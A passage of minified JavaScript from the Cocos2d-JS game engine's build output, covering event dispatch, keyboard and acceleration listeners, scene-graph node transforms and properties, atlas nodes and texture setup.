- a[d];if(f==c)return f.Vr(!1),null!=f.ee&&(this.CJ(f.ee,f),f.Wr(null)),0==this.Tl&&b.Je(a,f),!0}return!1},pP:function(a,c){if(a instanceof b.m){delete this.Qv[a.ua];b.Je(this.kr,a);var d=this.ji[a.ua];if(d){for(var e=b.TM(d),d=0;d<e.length;d++)this.removeListener(e[d]);e.length=0}e=this.Ro;for(d=0;d<e.length;){var f=e[d];f.ee==a?(f.Wr(null),f.Vr(!1),e.splice(d,1)):++d}if(!0===c)for(e=a.u,d=0,f=e.length;d<f;d++)this.pP(e[d],!0)}else a==b.ta.Hn?this.jm(b.Yh.qc):a==b.ta.nA?this.jm(b.Xh.qc):a==b.ta.Cn?
- this.jm(b.lk.qc):a==b.ta.nn?this.jm(b.jk.qc):a==b.ta.zn?this.jm(b.kk.qc):b.log(b.f.D0)},Uia:function(a){this.jm(a)},Pia:function(){var a=this.xg,c=this.JX,d;for(d in a)-1===c.indexOf(d)&&this.jm(d)},Bka:function(a,c){if(null!=a){var d=this.xg,e;for(e in d){var f=d[e].Df;if(f&&-1!=f.indexOf(a)){null!=a.ee&&b.log(b.f.E0);a.wk!==c&&(a.dD(c),this.Nk(a.hi,this.Gt));break}}}},qe:function(a){this.yo=a},isEnabled:function(){return this.yo},dispatchEvent:function(a){if(this.yo){this.KZ();this.Tl++;if(!a||
- !a.iF)throw"event is undefined";if(a.lc==b.pc.zu)this.sW(a);else{var c=b.Ku(a);this.rD(c);c=this.xg[c];null!=c&&this.vB(c,this.bY,a);this.Nw(a)}this.Tl--}},bY:function(a,c){c.cD(a.ee);a.qC(c);return c.Vl},Oaa:function(a,c){var d=new b.zl(a);d.setUserData(c);this.dispatchEvent(d)}};b.IR=b.pc.extend({eJ:null,ctor:function(a){b.pc.prototype.ctor.call(this,b.pc.nn);this.eJ=a}});b.fH=b.pc.extend({dC:0,QK:!1,ctor:function(a,c){b.pc.prototype.ctor.call(this,b.pc.zn);this.dC=a;this.QK=c}});b.jk=b.ta.extend({Tv:null,ctor:function(a){this.Tv=a;var c=this;b.ta.prototype.ctor.call(this,b.ta.nn,b.jk.qc,function(a){c.Tv(a.eJ,a)})},Zk:function(){b.assert(this.Tv,b.f.qV);return!0},k:function(){return new b.jk(this.Tv)}});b.jk.qc="__cc_acceleration";b.jk.create=function(a){return new b.jk(a)};
- b.kk=b.ta.extend({Zs:null,$s:null,ctor:function(){var a=this;b.ta.prototype.ctor.call(this,b.ta.zn,b.kk.qc,function(c){c.QK?a.Zs&&a.Zs(c.dC,c):a.$s&&a.$s(c.dC,c)})},k:function(){var a=new b.kk;a.Zs=this.Zs;a.$s=this.$s;return a},Zk:function(){return null==this.Zs&&null==this.$s?(b.log(b.f.rV),!1):!0}});b.kk.qc="__cc_keyboard";b.kk.create=function(){return new b.kk};b.H.KA=function(){var a=b.m.prototype;a.KD=null;a.yD=null;a.TB=null;a.Yi=null;a.ctor=function(){this.WB();var a=new b.ca;a.c[2]=a.c[3]=a.c[6]=a.c[7]=a.c[8]=a.c[9]=a.c[11]=a.c[14]=0;a.c[10]=a.c[15]=1;this.KD=a;this.TB=0;this.yD=new b.ca};a.Ia=function(){!1===this.xj&&(this.xj=this.Ev=!0)};a.U=function(){if(this.Zb){var a=b.l,d,e=b.Ob;e.stack.push(e.top);b.Hj(this.yD,e.top);e.top=this.yD;var f=this.grid;f&&f.nk&&f.xs();this.transform();var g=this.u;if(g&&0<g.length){var h=g.length;this.Sc();for(d=0;d<
- h;d++)if(g[d]&&0>g[d].Bb)g[d].U();else break;for(this.Z(a);d<h;d++)g[d]&&g[d].U()}else this.Z(a);this.arrivalOrder=0;f&&f.nk&&f.ts(this);e.top=e.stack.pop()}};a.transform=function(){var a=this.KD,d=b.Ob.top,e=this.Ep(),f=a.c;f[0]=e.a;f[4]=e.C;f[12]=e.Ja;f[1]=e.b;f[5]=e.K;f[13]=e.Ka;f[14]=this.os;b.Ei(d,d,a);null==this.Yi||null!=this.grid&&this.grid.nf()||(a=this.Ab.x,d=this.Ab.y,0!==a||0!==d?(b.jA||(a|=0,d|=0),b.Ap(a,d),this.Yi.Ws(),b.Ap(-a,-d)):this.Yi.Ws())};a.zi=a.cX};b.H.Uz=function(){var a=b.m.prototype;b.j(a,"x",a.Le,a.RP);b.j(a,"y",a.Jg,a.SP);b.j(a,"width",a.fh,a.rj);b.j(a,"height",a.zk,a.qj);b.j(a,"anchorX",a.LW,a.aD);b.j(a,"anchorY",a.MW,a.bD);b.j(a,"skewX",a.U1,a.C5);b.j(a,"skewY",a.V1,a.D5);b.j(a,"zIndex",a.s1,a.NP);b.j(a,"vertexZ",a.e2,a.P5);b.j(a,"rotation",a.N1,a.qG);b.j(a,"rotationX",a.P1,a.A5);b.j(a,"rotationY",a.Q1,a.B5);b.j(a,"scale",a.R1,a.gn);b.j(a,"scaleX",a.QN,a.Pp);b.j(a,"scaleY",a.RN,a.qt);b.j(a,"children",a.W0);b.j(a,"childrenCount",a.X0);
- b.j(a,"parent",a.getParent,a.QP);b.j(a,"visible",a.P2,a.Tj);b.j(a,"running",a.N2);b.j(a,"ignoreAnchor",a.J2,a.Bx);b.j(a,"actionManager",a.ix,a.BP);b.j(a,"scheduler",a.al,a.$P);b.j(a,"shaderProgram",a.dF,a.sG);b.j(a,"opacity",a.Ig,a.Ta);b.j(a,"opacityModifyRGB",a.Uf);b.j(a,"cascadeOpacity",a.xO,a.GP);b.j(a,"color",a.Hg,a.nb);b.j(a,"cascadeColor",a.wO,a.FP)};b.wH=-1;b.dG=1;
- b.m=b.oa.extend({Bb:0,bj:0,os:0,oj:0,lm:0,ka:1,La:1,xa:null,uh:0,vh:0,u:null,Zb:!0,Kc:null,Ab:null,Q:null,sh:!1,Nc:null,ej:!1,tag:b.wH,userData:null,userObject:null,xj:!0,Ev:!0,rg:!0,Tn:null,A$:null,vm:null,LK:null,Rd:!1,Eb:null,arrivalOrder:0,pg:null,Kf:null,Y9:null,JK:!1,Uq:!1,Qu:null,rk:null,bC:!1,Ho:0,kw:0,ub:"Node",pD:!1,Eo:"",fb:255,Bg:255,Ba:null,Qd:null,yf:!1,sg:!1,C$:!1,g$:0,WB:function(){this.Kc=b.d(0,0);this.Ab=b.d(0,0);this.Q=b.size(0,0);this.xa=b.d(0,0);this.u=[];this.vm={a:1,b:0,C:0,
- K:1,Ja:0,Ka:0};var a=b.J;this.pg=a.ix();this.Kf=a.al();this.JK=!0;this.Qu={a:1,b:0,C:0,K:1,Ja:0,Ka:0};b.kR&&(this.rk=new b.kR(this));this.Bg=this.fb=255;this.Ba=b.color(255,255,255,255);this.Qd=b.color(255,255,255,255);this.sg=this.yf=!1},ba:function(){!1===this.JK&&this.WB();return!0},qg:function(a,c){if(a&&0!==a.length){var d,e=a.length,f;d=b.m.wf;switch(c){case d.aa:for(d=0;d<e;d++)(f=a[d])&&f.aa();break;case d.xb:for(d=0;d<e;d++)(f=a[d])&&f.xb();break;case d.Nh:for(d=0;d<e;d++)(f=a[d])&&f.Nh();
- break;case d.Ke:for(d=0;d<e;d++)(f=a[d])&&f.Ke();break;case d.Se:for(d=0;d<e;d++)(f=a[d])&&f.Se();break;case d.Vf:for(d=0;d<e;d++)(f=a[d])&&f.Vf();break;case d.Sc:for(d=0;d<e;d++)(f=a[d])&&f.Sc();break;default:b.assert(0,b.f.AS)}}},Ia:null,xi:function(a){for(var c in a)this[c]=a[c]},U1:function(){return this.uh},C5:function(a){this.uh=a;this.Ia()},V1:function(){return this.vh},D5:function(a){this.vh=a;this.Ia()},NP:function(a){this.Bb=a;this.Nc&&this.Nc.Lp(this,a);b.ra.nw(this)},ow:function(a){this.Bb=
- a},s1:function(){return this.Bb},vea:function(){b.log(b.f.GS);return this.Bb},sla:function(a){b.log(b.f.RS);this.NP(a)},Yja:function(a){this.bj!=a&&(this.bj=a,b.ra.nw(this))},Qca:function(){return this.bj},e2:function(){return this.os},P5:function(a){this.os=a},N1:function(){this.oj!==this.lm&&b.log(b.f.ES);return this.oj},qG:function(a){this.oj=this.lm=a;this.Ho=0.017453292519943295*this.oj;this.kw=0.017453292519943295*this.lm;this.Ia()},P1:function(){return this.oj},A5:function(a){this.oj=a;this.Ho=
- 0.017453292519943295*this.oj;this.Ia()},Q1:function(){return this.lm},B5:function(a){this.lm=a;this.kw=0.017453292519943295*this.lm;this.Ia()},R1:function(){this.ka!==this.La&&b.log(b.f.FS);return this.ka},gn:function(a,c){this.ka=a;this.La=c||0===c?c:a;this.Ia()},QN:function(){return this.ka},Pp:function(a){this.ka=a;this.Ia()},RN:function(){return this.La},qt:function(a){this.La=a;this.Ia()},T:function(a,c){var d=this.xa;void 0===c?(d.x=a.x,d.y=a.y):(d.x=a,d.y=c);this.Ia()},nx:function(){return b.d(this.xa)},
- Le:function(){return this.xa.x},RP:function(a){this.xa.x=a;this.Ia()},Jg:function(){return this.xa.y},SP:function(a){this.xa.y=a;this.Ia()},X0:function(){return this.u.length},W0:function(){return this.u},P2:function(){return this.Zb},Tj:function(a){this.Zb!=a&&(this.Zb=a)&&this.Ia()},Wba:function(){return b.d(this.Kc)},nl:function(a,c){var d=this.Kc;if(void 0===c){if(a.x===d.x&&a.y===d.y)return;d.x=a.x;d.y=a.y}else{if(a===d.x&&c===d.y)return;d.x=a;d.y=c}var e=this.Ab,f=this.Q;e.x=f.width*d.x;e.y=
- f.height*d.y;this.Ia()},a$:function(){return this.Kc},RL:function(a){var c=a.x;a=a.y;this.Kc.x!==c&&(this.Kc.x=c,this.Ab.x=this.Q.width*c);this.Kc.y!==a&&(this.Kc.y=a,this.Ab.y=this.Q.height*a);this.Ia()},LW:function(){return this.Kc.x},aD:function(a){this.Kc.x!==a&&(this.Kc.x=a,this.Ab.x=this.Q.width*a,this.Ia())},MW:function(){return this.Kc.y},bD:function(a){this.Kc.y!==a&&(this.Kc.y=a,this.Ab.y=this.Q.height*a,this.Ia())},jx:function(){return b.d(this.Ab)},fh:function(){return this.Q.width},rj:function(a){this.Q.width=
- a;this.Ab.x=a*this.Kc.x;this.Ia()},zk:function(){return this.Q.height},qj:function(a){this.Q.height=a;this.Ab.y=a*this.Kc.y;this.Ia()},Sf:function(){return b.size(this.Q)},Fd:function(a,c){var d=this.Q;if(void 0===c){if(a.width===d.width&&a.height===d.height)return;d.width=a.width;d.height=a.height}else{if(a===d.width&&c===d.height)return;d.width=a;d.height=c}var e=this.Ab,f=this.Kc;e.x=d.width*f.x;e.y=d.height*f.y;this.Ia()},N2:function(){return this.sh},getParent:function(){return this.Nc},QP:function(a){this.Nc=
- a},J2:function(){return this.ej},Bx:function(a){a!=this.ej&&(this.ej=a,this.Ia())},fF:function(){return this.tag},Ly:function(a){this.tag=a},o5:function(a){this.Eo=a},getName:function(){return this.Eo},getUserData:function(){return this.userData},setUserData:function(a){this.userData=a},qea:function(){return this.userObject},pla:function(a){this.userObject!=a&&(this.userObject=a)},qda:function(){return this.arrivalOrder},r5:function(a){if(NaN==this.arrivalOrder)debugger;this.arrivalOrder=a},ix:function(){this.pg||
- (this.pg=b.J.ix());return this.pg},BP:function(a){this.pg!=a&&(this.DG(),this.pg=a)},al:function(){this.Kf||(this.Kf=b.J.al());return this.Kf},$P:function(a){this.Kf!=a&&(this.Uy(),this.Kf=a)},iaa:function(){b.log(b.f.CS);return this.T0()},T0:function(){var a=b.rect(0,0,this.Q.width,this.Q.height);return b.xY(a,this.zi())},Ke:function(){this.DG();this.Uy();b.ra.pP(this);this.qg(this.u,b.m.wf.Ke)},Hh:function(a){var c=this.u;if(null!=c)for(var d=0;d<c.length;d++){var e=c[d];if(e&&e.tag==a)return e}return null},
- hca:function(a){if(!a)return b.log("Invalid name"),null;for(var c=this.u,d=0,e=c.length;d<e;d++)if(c[d].Eo==a)return c[d];return null},M:function(a,c,d){c=void 0===c?a.Bb:c;var e,f=!1;switch(typeof d){case "undefined":d=void 0;e=a.Eo;break;case "string":e=d;d=void 0;break;case "number":f=!0,e=""}b.assert(a,b.f.BS);b.assert(null===a.Nc,"child already added. It can't be added again");this.XA(a,c,d,e,f)},XA:function(a,c,d,e,f){this.u||(this.u=[]);this.FX(a,c);f?a.Ly(d):a.o5(e);a.QP(this);a.r5(b.dG++);
- this.sh&&(a.aa(),this.bC&&a.Nh());this.yf&&this.gK();this.sg&&this.hK()},ry:function(a){this.Nc&&(null==a&&(a=!0),this.Nc.removeChild(this,a))},Via:function(a){b.log(b.f.LS);this.ry(a)},removeChild:function(a,c){0!==this.u.length&&(null==c&&(c=!0),-1<this.u.indexOf(a)&&this.oW(a,c),this.Ia())},ZF:function(a,c){a===b.wH&&b.log(b.f.JS);var d=this.Hh(a);null==d?b.log(b.f.KS,a):this.removeChild(d,c)},Nia:function(a){b.log(b.f.IS);this.Xf(a)},Xf:function(a){var c=this.u;if(null!=c){null==a&&(a=!0);for(var d=
- 0;d<c.length;d++){var e=c[d];e&&(this.sh&&(e.Vf(),e.xb()),a&&e.Ke(),e.parent=null)}this.u.length=0}},oW:function(a,c){this.sh&&(a.Vf(),a.xb());c&&a.Ke();a.parent=null;b.Je(this.u,a)},FX:function(a,c){this.Rd=!0;this.u.push(a);a.ow(c)},Lp:function(a,c){b.assert(a,b.f.MS);this.Rd=!0;a.arrivalOrder=b.dG;b.dG++;a.ow(c);this.Ia()},Sc:function(){if(this.Rd){var a=this.u,c=a.length,d,e,f;for(d=1;d<c;d++){f=a[d];for(e=d-1;0<=e;){if(f.Bb<a[e].Bb)a[e+1]=a[e];else if(f.Bb===a[e].Bb&&f.arrivalOrder<a[e].arrivalOrder)a[e+
- 1]=a[e];else break;e--}a[e+1]=f}this.Rd=!1}},Z:function(){},Ty:function(){null!=this.Nc&&(this.Nc.Ty(),this.Nc.transform())},aa:function(){this.bC=!1;this.sh=!0;this.qg(this.u,b.m.wf.aa);this.Mp()},Nh:function(){this.bC=!0;this.qg(this.u,b.m.wf.Nh)},Vf:function(){this.qg(this.u,b.m.wf.Vf)},xb:function(){this.sh=!1;this.pause();this.qg(this.u,b.m.wf.xb)},cb:function(a){b.assert(a,b.f.OS);this.actionManager.XZ(a,this,!this.sh);return a},DG:function(){this.actionManager&&this.actionManager.nP(this)},
- k6:function(a){this.actionManager.mP(a)},l6:function(a){a===b.on?b.log(b.f.SS):this.actionManager.t4(a,this)},RE:function(a){return a===b.on?(b.log(b.f.DS),null):this.actionManager.RE(a,this)},nda:function(){return this.actionManager.J3(this)},N4:function(){this.zP(0)},zP:function(a){this.scheduler.eG(this,a,!this.sh)},BQ:function(){this.scheduler.At(this)},yy:function(a,c,d,e){c=c||0;b.assert(a,b.f.PS);b.assert(0<=c,b.f.QS);d=null==d?b.Dq:d;this.scheduler.M4(this,a,c,d,e||0,!this.sh)},jja:function(a,
- c){this.yy(a,0,0,c)},yQ:function(a){a&&this.scheduler.AQ(this,a)},Uy:function(){this.scheduler.zQ(this)},dja:function(){b.log(b.f.NS);this.Mp()},Mp:function(){this.scheduler.Qj(this);this.actionManager&&this.actionManager.Qj(this);b.ra.Qj(this)},lia:function(){b.log(b.f.HS);this.pause()},pause:function(){this.scheduler.Ip(this);this.actionManager&&this.actionManager.Ip(this);b.ra.Ip(this)},qja:function(a){this.Qu=a;this.Uq=this.xj=!0},G1:function(){this.Ev&&(this.LK=b.DM(this.zi()),this.Ev=!1);return this.LK},
- iia:function(){return this.G1()},Js:function(){for(var a=this.zi(),c=this.Nc;null!=c;c=c.parent)a=b.Dm(a,c.zi());return a},TO:function(){return this.Js()},bO:function(){return b.DM(this.Js())},gma:function(){return this.bO()},AE:function(a){return b.gP(a,this.bO())},cx:function(a){a=a||b.d(0,0);return b.gP(a,this.Js())},T_:function(a){return b.Ed(this.AE(a),this.Ab)},waa:function(a){a=a||b.d(0,0);a=b.Mj(a,this.Ab);return this.cx(a)},T9:function(a){a=this.cx(a);return b.J.SM(a)},xaa:function(a){return this.AE(a.Is())},
- yaa:function(a){a=a.Is();a=b.J.RM(a);return this.T_(a)},update:function(a){this.rk&&!this.rk.Sea()&&this.rk.U(a)},Se:function(){this.qg(this.u,b.m.wf.Se)},uy:function(){},Mi:function(){},Z0:function(a){return this.rk.Z0(a)},F$:function(a){this.rk.add(a)},Tia:function(a){return this.rk.remove(a)},Oia:function(){this.rk.Lia()},grid:null,ctor:null,U:null,transform:null,Ep:function(){return this.zi()},zi:null,ri:function(){if(!1===this.rg){this.rg=!0;var a=this.Tn;a&&a!=this&&a.ri()}},mw:function(a){if(this.Tn!=
- a){this.Tn=a;for(var c=this.u,d=0,e=c.length;d<e;d++)c[d].mw(a)}},Tm:function(){this.Yi||(this.Yi=new b.bq);return this.Yi},Hs:function(){return this.grid},h5:function(a){this.grid=a},dF:function(){return this.Eb},sG:function(a){this.Eb=a},Pca:function(){return this.TB},Xja:function(a){this.TB=a},U0:function(){var a=b.rect(0,0,this.Q.width,this.Q.height),c=this.Js(),a=b.XF(a,this.Js());if(!this.u)return a;for(var d=this.u,e=0;e<d.length;e++){var f=d[e];f&&f.Zb&&(f=f.ur(c))&&(a=b.py(a,f))}return a},
- ur:function(a){var c=b.rect(0,0,this.Q.width,this.Q.height);a=null==a?this.zi():b.Dm(this.zi(),a);c=b.XF(c,a);if(!this.u)return c;for(var d=this.u,e=0;e<d.length;e++){var f=d[e];f&&f.Zb&&(f=f.ur(a))&&(c=b.py(c,f))}return c},cX:function(){if(this.xj){var a=this.xa.x,c=this.xa.y,d=this.Ab.x,e=-d,f=this.Ab.y,g=-f,h=this.ka,k=this.La;this.ej&&(a+=d,c+=f);var m=1,p=0,q=1,r=0;if(0!==this.oj||0!==this.lm)m=Math.cos(-this.Ho),p=Math.sin(-this.Ho),q=Math.cos(-this.kw),r=Math.sin(-this.kw);var t=this.uh||this.vh;
- t||0===d&&0===f||(a+=q*e*h+-p*g*k,c+=r*e*h+m*g*k);var s=this.vm;s.a=q*h;s.b=r*h;s.C=-p*k;s.K=m*k;s.Ja=a;s.Ka=c;t&&(s=b.Dm({a:1,b:Math.tan(b.Pf(this.vh)),C:Math.tan(b.Pf(this.uh)),K:1,Ja:0,Ka:0},s),0!==d||0!==f)&&(s=b.c_(s,e,g));this.Uq&&(s=b.Dm(s,this.Qu),this.Uq=!1);this.vm=s;this.xj=!1}return this.vm},Yb:function(){},Ig:function(){return this.Bg},e1:function(){return this.fb},Ta:function(a){this.fb=this.Bg=a;var c=255,d=this.Nc;d&&d.cascadeOpacity&&(c=d.fb);this.xc(c);this.Ba.a=this.Qd.a=a},xc:function(a){this.fb=
- this.Bg*a/255;if(this.sg){a=this.u;for(var c=0;c<a.length;c++){var d=a[c];d&&d.xc(this.fb)}}},xO:function(){return this.sg},GP:function(a){this.sg!==a&&((this.sg=a)?this.hK():this.rW())},hK:function(){var a=255,c=this.Nc;c&&c.cascadeOpacity&&(a=c.fb);this.xc(a)},rW:function(){this.fb=this.Bg;for(var a=this.u,c=0;c<a.length;c++){var d=a[c];d&&d.xc(255)}},Hg:function(){var a=this.Qd;return b.color(a.r,a.g,a.b,a.a)},lx:function(){var a=this.Ba;return b.color(a.r,a.g,a.b,a.a)},nb:function(a){var c=this.Ba,
- d=this.Qd;c.r=d.r=a.r;c.g=d.g=a.g;c.b=d.b=a.b;a=(a=this.Nc)&&a.cascadeColor?a.lx():b.color.WHITE;this.Hc(a)},Hc:function(a){var c=this.Ba,d=this.Qd;c.r=0|d.r*a.r/255;c.g=0|d.g*a.g/255;c.b=0|d.b*a.b/255;if(this.yf)for(a=this.u,d=0;d<a.length;d++){var e=a[d];e&&e.Hc(c)}},wO:function(){return this.yf},FP:function(a){this.yf!==a&&((this.yf=a)?this.gK():this.qW())},gK:function(){var a;a=(a=this.Nc)&&a.cascadeColor?a.lx():b.color.WHITE;this.Hc(a)},qW:function(){var a=this.Ba,c=this.Qd;a.r=c.r;a.g=c.g;a.b=
- c.b;for(var a=this.u,c=b.color.WHITE,d=0;d<a.length;d++){var e=a[d];e&&e.Hc(c)}},rf:function(){},Uf:function(){return!1}});b.m.create=function(){return new b.m};b.m.wf={aa:1,xb:2,Ke:3,Nh:4,Se:5,Vf:6,Sc:7};
- b.B===b.Aa?(n=b.m.prototype,n.ctor=function(){this.WB()},n.Ia=function(){this.ri();!1===this.xj&&(this.xj=this.Ev=!0)},n.U=function(a){if(this.Zb){a=a||b.l;var c,d=this.u,e;a.save();this.transform(a);var f=d.length;if(0<f){this.Sc();for(c=0;c<f;c++)if(e=d[c],0>e.Bb)e.U(a);else break;for(this.Z(a);c<f;c++)d[c].U(a)}else this.Z(a);this.rg=!1;this.arrivalOrder=0;a.restore()}},n.transform=function(a){a=a||b.l;var c=b.view,d=this.zi();a.transform(d.a,d.C,d.b,d.K,d.Ja*c.ka,-d.Ka*c.La)},n.zi=function(){if(this.xj){var a=
- this.vm;a.Ja=this.xa.x;a.Ka=this.xa.y;var c=1,d=0;this.oj&&(c=Math.cos(this.Ho),d=Math.sin(this.Ho));a.a=a.K=c;a.b=-d;a.C=d;var e=this.ka,f=this.La,g=this.Ab.x,h=this.Ab.y,k=1E-6>e&&-1E-6<e?1E-6:e,m=1E-6>f&&-1E-6<f?1E-6:f;if(this.uh||this.vh){var p=Math.tan(-this.uh*Math.PI/180),q=Math.tan(-this.vh*Math.PI/180);Infinity===p&&(p=99999999);Infinity===q&&(q=99999999);var r=h*p*k,t=g*q*m;a.a=c+-d*q;a.b=c*p+-d;a.C=d+c*q;a.K=d*p+c;a.Ja+=c*r+-d*t;a.Ka+=d*r+c*t}if(1!==e||1!==f)a.a*=k,a.C*=k,a.b*=m,a.K*=m;
- a.Ja+=c*-g*k+-d*h*m;a.Ka-=d*-g*k+c*h*m;this.ej&&(a.Ja+=g,a.Ka+=h);this.Uq&&(this.vm=b.Dm(a,this.Qu),this.Uq=!1);this.xj=!1}return this.vm},n=null):(b.assert("function"===typeof b.H.KA,b.f.fd,"BaseNodesWebGL.js"),b.H.KA(),delete b.H.KA);b.assert("function"===typeof b.H.Uz,b.f.fd,"BaseNodesPropertyDefine.js");b.H.Uz();delete b.H.Uz;b.Ri=b.m.extend({textureAtlas:null,quadsToDraw:0,Ao:0,VK:0,gi:0,jh:0,Nl:null,Pa:!1,s:null,Bv:!1,ub:"AtlasNode",ctor:function(a,c,d,e){b.m.prototype.ctor.call(this);this.Nl=b.color.WHITE;this.s={src:b.ac,R:b.$b};this.Bv=!1;void 0!==e&&this.y2(a,c,d,e)},Xp:function(){b.log(b.f.QQ)},Hg:function(){return this.Pa?this.Nl:b.m.prototype.Hg.call(this)},rf:function(a){var c=this.color;this.Pa=a;this.color=c},Uf:function(){return this.Pa},Gh:function(){return this.s},pe:function(a,c){this.s=void 0===c?a:{src:a,
- R:c}},vG:function(a){this.textureAtlas=a},gF:function(){return this.textureAtlas},Eda:function(){return this.quadsToDraw},Cka:function(a){this.quadsToDraw=a},Uk:null,jc:null,MD:null,cr:null,y2:function(a,c,d,e){if(!a)throw"cc.AtlasNode.initWithTileFile(): title should not be null";a=b.Ea.Dc(a);return this.sa(a,c,d,e)},sa:null,XB:function(a,c,d,e){this.gi=c;this.jh=d;this.Pa=!0;this.jc=a;if(!this.jc)return b.log(b.f.PG),!1;this.Uk=this.jc;this.Yu();this.quadsToDraw=e;return!0},YB:function(a,c,d,e){this.gi=
- c;this.jh=d;this.Nl=b.color.WHITE;this.Pa=!0;this.s.src=b.ac;this.s.R=b.$b;c=this.Qd;this.cr=new Float32Array([c.r/255,c.g/255,c.b/255,this.Bg/255]);this.textureAtlas=new b.Wh;this.textureAtlas.sa(a,e);if(!this.textureAtlas)return b.log(b.f.PG),!1;this.Nf();this.pM();this.Yu();this.quadsToDraw=e;this.shaderProgram=b.Hd.nc(b.hA);this.MD=b.l.getUniformLocation(this.shaderProgram.Vm(),"u_color");return!0},Z:null,aj:function(a){a=a||b.l;b.Xs(this);b.Kg(this.s.src,this.s.R);this.MD&&this.cr&&(a.uniform4fv(this.MD,
- this.cr),this.textureAtlas.jN(this.quadsToDraw))},nb:null,OY:function(a){var c=this.Qd;if(c.r!=a.r||c.g!=a.g||c.b!=a.b){c=b.color(a.r,a.g,a.b);this.Nl=a;if(this.Pa){var d=this.fb;c.r=c.r*d/255;c.g=c.g*d/255;c.b=c.b*d/255}b.m.prototype.nb.call(this,a);this.Zd()}},Zd:function(){var a=this.Ca();if(a&&this.jc){var c=this.jc.Oa;if(c){var d=a.Oa,a=b.rect(0,0,c.width,c.height);d instanceof HTMLCanvasElement?b.Rm(c,this.Ba,a,d):(d=b.Rm(c,this.Ba,a),a=new b.da,a.Rc(d),a.sb(),this.Ya(a))}}},PY:function(a){var c=
- b.color(a.r,a.g,a.b);this.Nl=a;var d=this.fb;this.Pa&&(c.r=c.r*d/255,c.g=c.g*d/255,c.b=c.b*d/255);b.m.prototype.nb.call(this,a);a=this.Ba;this.cr=new Float32Array([a.r/255,a.g/255,a.b/255,d/255])},Ta:function(){},hD:function(a){b.m.prototype.Ta.call(this,a);this.Pa&&(this.color=this.Nl)},iD:function(a){b.m.prototype.Ta.call(this,a);this.Pa?this.color=this.Nl:(a=this.Ba,this.cr=new Float32Array([a.r/255,a.g/255,a.b/255,this.fb/255]))},Ca:null,vr:function(){return this.Uk},SB:function(){return this.textureAtlas.texture},
- Ya:null,mD:function(a){this.Uk=a},nD:function(a){this.textureAtlas.texture=a;this.Nf();this.pM()},Yu:null,TV:function(){var a=this.texture.Sf();this.VK=0|a.height/this.jh;this.Ao=0|a.width/this.gi},UV:function(){var a=this.texture,c=a.Sf();this.Bv&&(c=a.Q);this.VK=0|c.height/this.jh;this.Ao=0|c.width/this.gi},Nf:function(){this.textureAtlas.texture.Ai()||(this.s.src=b.SRC_ALPHA,this.s.R=b.ONE_MINUS_SRC_ALPHA)},pM:function(){this.Pa=this.textureAtlas.texture.Ai()},eD:function(a){this.Bv=a}});n=b.Ri.prototype;
- b.B===b.W?(n.sa=n.YB,n.Z=n.aj,n.nb=n.PY,n.Ta=n.iD,n.Ca=n.SB,n.Ya=n.nD,n.Yu=n.UV):(n.sa=n.XB,n.Z=b.m.prototype.Z,n.nb=n.OY,n.Ta=n.hD,n.Ca=n.vr,n.Ya=n.mD,n.Yu=n.TV,b.pa.Bw||(n.Zd=function(){var a,c=this.Ca();if(c&&this.jc&&(a=c.Oa)){var d=this.jc.Oa;if(c=b.Ea.sx(d))d=b.rect(0,0,d.width,d.height),a instanceof HTMLCanvasElement?b.Qm(a,c,this.Ba,d,a):(a=b.Qm(a,c,this.Ba,d),c=new b.da,c.Rc(a),c.sb(),this.Ya(c))}}));b.j(n,"opacity",n.Ig,n.Ta);b.j(n,"color",n.Hg,n.nb);b.j(n,"texture",n.Ca,n.Ya);
- b.Ri.create=function(a,c,d,e){return new b.Ri(a,c,d,e)};b.H.QA=function(){b.da=b.oa.extend({o$:!0,mi:null,mj:0,lj:0,Eo:"",Q:null,Fi:0,Gi:0,Av:!1,to:!1,shaderProgram:null,ic:!1,Oa:null,Sd:null,url:null,gb:null,ctor:function(){this.Q=b.size(0,0);this.mi=b.da.aN},YF:function(){this.Sd&&b.l.deleteTexture(this.Sd);b.V.Mi(this.url)},JN:function(){return this.mi},aF:function(){return this.mj},$E:function(){return this.lj},getName:function(){return this.Sd},Sf:function(){return b.size(this.Q.width/b.pb(),this.Q.height/b.pb())},fh:function(){return this.Q.width/
- b.pb()},zk:function(){return this.Q.height/b.pb()},$0:function(){return this.Q},x1:function(){return this.Fi},l5:function(a){this.Fi=a},y1:function(){return this.Gi},m5:function(a){this.Gi=a},dF:function(){return this.shaderProgram},sG:function(a){this.shaderProgram=a},Ai:function(){return this.Av},m2:function(){return this.to},description:function(){return"\x3ccc.Texture2D | Name \x3d "+this.Eo+" | Dimensions \x3d "+this.mj+" x "+this.lj+" | Coordinates \x3d ("+this.Fi+", "+this.Gi+")\x3e"},s4:function(){},
- U2:function(a){return a},Ps:function(a,c,d,e,f){var g=b.da,h=b.l,k=h.RGBA,m=h.UNSIGNED_BYTE,p=d*b.da.$I[c]/8;0===p%8?h.pixelStorei(h.UNPACK_ALIGNMENT,8):0===p%4?h.pixelStorei(h.UNPACK_ALIGNMENT,4):0===p%2?h.pixelStorei(h.UNPACK_ALIGNMENT,2):h.pixelStorei(h.UNPACK_ALIGNMENT,1);this.Sd=h.createTexture();b.oe(this);h.texParameteri(h.TEXTURE_2D,h.TEXTURE_MIN_FILTER,h.LINEAR);h.texParameteri(h.TEXTURE_2D,h.TEXTURE_MAG_FILTER,h.LINEAR);h.texParameteri(h.TEXTURE_2D,h.TEXTURE_WRAP_S,h.CLAMP_TO_EDGE);h.texParameteri(h.TEXTURE_2D,
- h.TEXTURE_WRAP_T,h.CLAMP_TO_EDGE);switch(c){case g.Ui:k=h.RGBA;break;case g.Cq:k=h.RGB;break;case g.iu:m=h.UNSIGNED_SHORT_4_4_4_4;break;case g.hu:m=h.UNSIGNED_SHORT_5_5_5_1;break;case g.Bq:m=h.UNSIGNED_SHORT_5_6_5;break;case g.Mz:k=h.LUMINANCE_ALPHA;break;case g.Aq:k=h.ALPHA;break;case g.Nz:k=h.LUMINANCE;break;default:b.assert(0,b.f.zU)}h.texImage2D(h.TEXTURE_2D,0,k,d,e,0,k,m,a);this.Q.width=f.width;this.Q.height=f.height;this.mj=d;this.lj=e;this.mi=c;this.Fi=f.width/d;this.Gi=f.height/e;this.to=
